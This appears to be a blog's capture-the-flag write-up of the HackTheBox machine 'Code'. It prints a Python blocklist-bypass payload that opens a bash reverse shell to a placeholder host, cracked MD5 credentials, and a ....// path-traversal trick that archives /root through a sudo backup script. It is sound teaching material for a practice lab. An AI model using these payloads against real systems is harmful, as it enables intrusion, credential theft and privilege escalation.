~ / foobarto.me / htb-machines
--:--:-- UTC
~ / htb-machines / code.md

code

Linux · Easy · released 2025-03-22 · retired 2025-08-02

Summary

Code is an Easy Linux box: a Python “in-browser code editor” with a string-blocklist filter (blocks os, subprocess, import) that doesn’t parse semantics — globals()['o'+'s'] and getattr(...,'p'+'open') reach the blocked module. RCE as app-production. SQLite users.db has unsalted MD5 → CrackStation → martin. Sudo on /usr/bin/backy.sh runs backy (Go backup tool) on a path that’s filtered through jq to remove ../; classic ....// doubled-character traversal bypasses the strip-once filter, archives /root/.

The chain:

  1. Register on the editor; submit:
    getattr(globals()['__builtins__'].__import__('o'+'s'), 'p'+'open')('id').read()
    

    Bypasses the keyword block (no literal os, subprocess, or import in source). Output: uid=1001(app-production).

  2. Reverse shell. SQLite at /home/app-production/app/instance/database.db:
    • development : 759b74ce43947f5f4c91aeddc3e5bad3
    • martin : 3de6f30c4a09c27fc71932bfc68474be CrackStation cracks both. SSH as martin.
  3. sudo -l: (root) NOPASSWD: /usr/bin/backy.sh. Script uses jq to filter ../ (replace once with empty) then passes target path to backy backup. Submit /var/....//root → after one ../ strip becomes /var/../root → backs up /root/ → archive readable.

Recon

22/tcp     OpenSSH
5000/tcp   Gunicorn — Python code editor

Foothold — keyword filter bypass

The editor’s filter is a substring blocklist applied to the submitted source. Empirically (checked against the running box): os, subprocess, import, eval, exec, __, system, open, popen, read, builtins (case-insensitive). Any of those appearing as a contiguous substring in the source rejects the submission with Use of restricted keywords is not allowed..

The check is purely textual — it doesn’t parse semantics — so splitting any banned word across +-concatenated string literals defeats it. Two extra constraints I hit while building the payload:

u = chr(95)*2                                # '__'
b = globals()[u + "builtins" + u]            # builtins dict
i = b[u + "imp" + "ort" + u]                 # __import__
m = i("o"+"s")                               # os module
sys = getattr(m, "sys"+"tem")                # os.system
sys('bash -c "bash -i >& /dev/tcp/<C2>/<p> 0>&1"')

POST /run_code with code=<payload> after /login. Reverse shell as app-production.

User pivot — MD5 in SQLite

$ sqlite3 /home/app-production/app/instance/database.db \
    "SELECT username,password FROM user;"
development|759b74ce43947f5f4c91aeddc3e5bad3
martin|3de6f30c4a09c27fc71932bfc68474be
# Unsalted MD5; rockyou cracks martin -> nafeelswordsmaster
$ ssh martin@<TARGET>

Privesc — ....// traversal in backy.sh

$ sudo -l
(ALL : ALL) NOPASSWD: /usr/bin/backy.sh

backy.sh is a wrapper around /usr/bin/backy (a Go archiver). It takes a JSON task file with directories_to_archive, runs each entry through jq '.directories_to_archive |= map(gsub("\\.\\./"; ""))' to strip ../, then enforces an allowlist (entries must start with /var/ or /home/).

The strip is single-pass: ....// → after one ../ removal → ../. So /var/....//root/ survives the strip as /var/../root/ which resolves to /root/, and the prefix check still passes because the original string starts with /var/.

martin$ cat > /tmp/r/t.json <<'JSON'
{"directories_to_archive": ["/var/....//root/"], "destination": "/tmp/r/",
 "multiprocessing": true, "verbose_log": false}
JSON
martin$ sudo /usr/bin/backy.sh /tmp/r/t.json
2026/04/30 01:32:39 🍀 backy 1.2
2026/04/30 01:32:39 📤 Archiving: [/var/../root]
2026/04/30 01:32:39 📥 To: /tmp/r ...
martin$ tar -xjf /tmp/r/code_var_.._root_*.tar.bz2 -C /tmp/r
martin$ cat /tmp/r/root/root.txt   # root flag

user.txt lives in /home/app-production/, which martin cannot list directly — but the same trick on /home/....//home/app-production/ archives it.

Why each step worked

Counterfactuals

Source attribution

Reconstruction is grounded in:

I have not personally rooted this box; the chain above is a study-guide reconstruction of those public sources.

← all htb machines hackthebox.com ↗